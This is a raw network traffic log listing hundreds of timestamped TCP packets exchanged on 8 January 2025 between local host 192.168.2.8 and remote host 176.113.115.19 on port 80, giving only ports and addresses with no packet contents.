Jan 8, 2025 09:42:32.490448952 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490463018 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490474939 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490497112 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.490515947 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.490531921 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490547895 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490561008 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490572929 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490581989 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.490613937 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.490616083 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490631104 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490643024 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490644932 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.490658998 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.490679979 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490686893 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.490695000 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490706921 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490720034 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490726948 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.490734100 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490747929 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490761995 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.490781069 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.490796089 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490808010 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490820885 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490835905 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.490835905 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.490854025 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.490865946 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490865946 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.490879059 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490891933 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490920067 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.490920067 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.490941048 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491020918 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491034031 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491060972 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491070986 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491070986 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491072893 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491086960 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491100073 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491111040 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491115093 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491116047 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491125107 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491138935 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491152048 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491163015 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491163015 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491189957 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491230011 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491239071 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491251945 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491265059 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491272926 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491277933 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491291046 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491297007 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491305113 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491323948 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491336107 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491349936 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491373062 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491381884 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491395950 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491408110 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491421938 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491430044 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491435051 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491436005 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491449118 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491470098 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491472960 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491483927 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491497040 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491504908 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491508961 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491518974 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491540909 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491559029 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491559029 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491565943 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491579056 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491586924 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491592884 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491606951 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491609097 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491615057 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491622925 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491643906 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491648912 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491663933 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491669893 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491669893 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491693974 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491697073 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491709948 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491724014 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491734982 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491734982 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491739988 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491751909 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491755962 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491771936 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491780043 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491780043 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491791010 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491797924 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491811037 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491817951 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491822004 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491835117 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491847992 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491858959 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491858959 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491861105 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491908073 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491908073 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491945982 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491957903 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491970062 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491981030 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491992950 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.491997004 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.491997004 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.492006063 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492022991 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.492027998 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492039919 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492052078 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492063999 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.492063999 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.492064953 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492091894 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.492096901 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492111921 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492134094 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.492134094 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.492136955 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492151022 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492162943 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492172003 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.492172003 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.492176056 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492188931 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492193937 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.492202044 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492208004 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492219925 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492224932 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.492224932 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.492235899 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492255926 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.492276907 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492286921 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.492291927 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492331028 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492342949 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.492342949 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.492350101 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492363930 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492377043 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492383957 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.492388964 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492403030 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492408991 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.492408991 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.492417097 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492450953 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492455006 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.492455006 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.492465019 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.492489100 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.492528915 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.518692017 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.518706083 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.518731117 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.518744946 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.518755913 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.518760920 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.518784046 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.518825054 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.518836975 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.518851042 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.518883944 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.518908978 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.580673933 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.580693960 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.580707073 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.580730915 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.580744028 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.580746889 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.580756903 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.580776930 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.580791950 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.580812931 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.580836058 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.580849886 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.580849886 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.580849886 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.580876112 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.580893040 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.580903053 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.580903053 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.580908060 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.580924988 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.580928087 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.580928087 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.580955029 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.580955029 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.580960989 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.580969095 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.580997944 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581001997 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581001997 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581011057 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581034899 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581036091 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581053972 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581077099 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581077099 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581078053 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581103086 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581115961 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581115961 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581121922 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581147909 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581156015 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581156015 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581162930 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581187010 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581201077 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581201077 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581202030 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581214905 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581234932 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581242085 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581255913 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581264019 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581264019 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581273079 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581285954 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581288099 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581307888 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581310034 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581310034 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581321955 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581336975 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581342936 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581342936 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581351042 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581365108 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581372023 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581372023 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581387997 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581392050 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581403017 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581424952 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581424952 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581430912 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581445932 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581459045 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581459045 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581474066 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581496000 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581496000 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581505060 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581513882 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581527948 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581553936 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581556082 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581581116 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581583977 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581598043 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581599951 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581615925 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581629038 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581629992 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581644058 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581656933 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581656933 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581660032 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581690073 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581690073 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581703901 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581716061 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581720114 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581733942 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581747055 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581762075 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581769943 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581780910 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581799984 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581805944 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581828117 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581842899 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581852913 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581852913 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581857920 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581868887 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581872940 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581888914 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581891060 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581891060 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581907988 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581922054 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581933022 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581933022 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581933975 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581948996 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581964016 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.581979990 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.581979990 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582025051 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582030058 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582056046 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582068920 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582075119 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582076073 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582088947 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582103968 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582109928 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582118034 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582128048 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582145929 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582163095 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582179070 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582184076 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582197905 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582210064 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582226038 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582230091 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582230091 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582245111 CET	80	49708	176.113.115.19	192.168.2.8
